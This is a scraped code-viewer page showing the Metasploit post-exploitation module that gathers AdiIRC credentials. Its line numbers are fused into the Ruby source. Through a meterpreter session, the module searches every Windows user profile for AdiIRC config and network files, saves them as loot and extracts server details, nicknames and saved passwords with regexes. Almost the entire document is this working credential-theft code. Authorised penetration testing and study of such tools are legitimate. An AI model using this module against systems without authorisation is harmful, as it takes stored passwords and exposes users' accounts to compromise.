Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/adi_irc.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6# this associative array defines the artifacts known to PackRat7include Msf::Post::File8include Msf::Post::Windows::UserProfiles9include Msf::Post::Windows::Packrat10ARTIFACTS =11{12application: 'Adi IRC',13app_category: 'IRC',14gatherable_artifacts: [15{16filetypes: 'quick_connect',17path: 'LocalAppData',18dir: 'AdiIRC',19artifact_file_name: 'config',20description: 'Quick Connect Server Details',21credential_type: 'text',22regex_search: [23{24extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',25extraction_type: 'credentials',26regex: [27'(?i-mx:Serverhost=.*)',28'(?i-mx:Serverport=.*)',29'(?i-mx:Usernick=.*)',30'(?i-mx:QuickPassword=.*)'31]32}33]34},35{36filetypes: 'Networks',37path: 'LocalAppData',38dir: 'AdiIRC',39artifact_file_name: 'networks',40description: 'Saved Networks',41credential_type: 'text'42}43]44}.freeze4546def initialize(info = {})47super(48update_info(49info,50'Name' => 'Adi IRC credential gatherer',51'Description' => %q{52PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.53PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.54Further details can be found in the module documentation.55This is a module that searches for credentials stored on AdiIRC Client in a windows remote host.56},57'License' => MSF_LICENSE,58'Author' => [59'Jacob Tierney',60'Kazuyoshi Maruta',61'Daniel Hallsworth',62'Barwar Salim M',63'Z. Cliffe Schreuders' # http://z.cliffe.schreuders.org64],65'Platform' => ['win'],66'SessionTypes' => ['meterpreter'],67'Notes' => {68'Stability' => [CRASH_SAFE],69'Reliability' => [],70'SideEffects' => []71}72)73)7475register_options(76[77OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),78OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),79# enumerates the options based on the artifacts that are defined below80OptEnum.new('ARTIFACTS', [false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map { |k| k[:filetypes] }.uniq.unshift('All')])81]82)83end8485def run86print_status('Filtering based on these selections: ')87print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")88print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")89print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")9091# used to grab files for each user on the remote host92grab_user_profiles.each do |userprofile|93run_packrat(userprofile, ARTIFACTS)94end9596print_status 'PackRat credential sweep Completed'97end98end99100101